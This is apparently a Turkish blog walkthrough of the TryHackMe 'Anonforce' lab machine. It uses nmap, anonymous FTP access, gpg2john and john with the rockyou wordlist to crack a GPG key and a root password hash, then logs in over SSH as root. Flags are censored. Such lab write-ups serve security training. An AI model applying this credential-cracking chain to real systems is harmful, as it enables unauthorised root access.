Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Anonforce” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
nmap -sS -sV -O 10.10.97.179
2 — Makine üzerinde FTP ve SSH portlarının açık olduğunu görüyorum.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 15:00 +03
Nmap scan report for 10.10.97.179
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
3 — Nmap aracını kullanarak Anonymous FTP testi yapıyorum. FTP servisine anonymous:anonymous bilgileri ile giriş yapılabildiğini görüyorum.
> nmap --script ftp-anon -p 21 10.10.97.179
*
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
*
4 — “notread” dizinin içinde “backup.gpg” ve “private.asc” adında iki dosya mevcut. mget ile bunları indiriyorum.
> ftp 10.10.97.179
*
ftp> ls
229 Entering Extended Passive Mode (|||61485|)
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 1000 524 Aug 11 2019 backup.pgp
-rwxrwxrwx 1 1000 1000 3762 Aug 11 2019 private.asc
226 Directory send OK.
ftp> mget *
*
5 — “private.asc” dosyasının şifresini kırmak için john aracını kullanıyorum.
> gpg2john private.asc > hash
> john hash -w=/usr/share/wordlists/rockyou.txt
6 — GPG dosyasını içeri aktardığımda bir shadow dosyası içeriği görüyorum. Tekrardan john aracı ile root kullanıcısının şifresini kırmaya çalışıyor.
> gpg --import private.asc
*
root:$6$07**************************************
*
> john hash -w=/usr/share/wordlists/rockyou.txt
7 — SSH ile makineye bağlanıyorum.
> ssh root@10.10.97.179
8 — Makine üzerindeki bayrakları okuyarak odayı tamamlıyorum.
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt
***CENSORED***
root@ubuntu:~# ls /home
melodias
root@ubuntu:~# cat /home/melodias/user.txt
***CENSORED***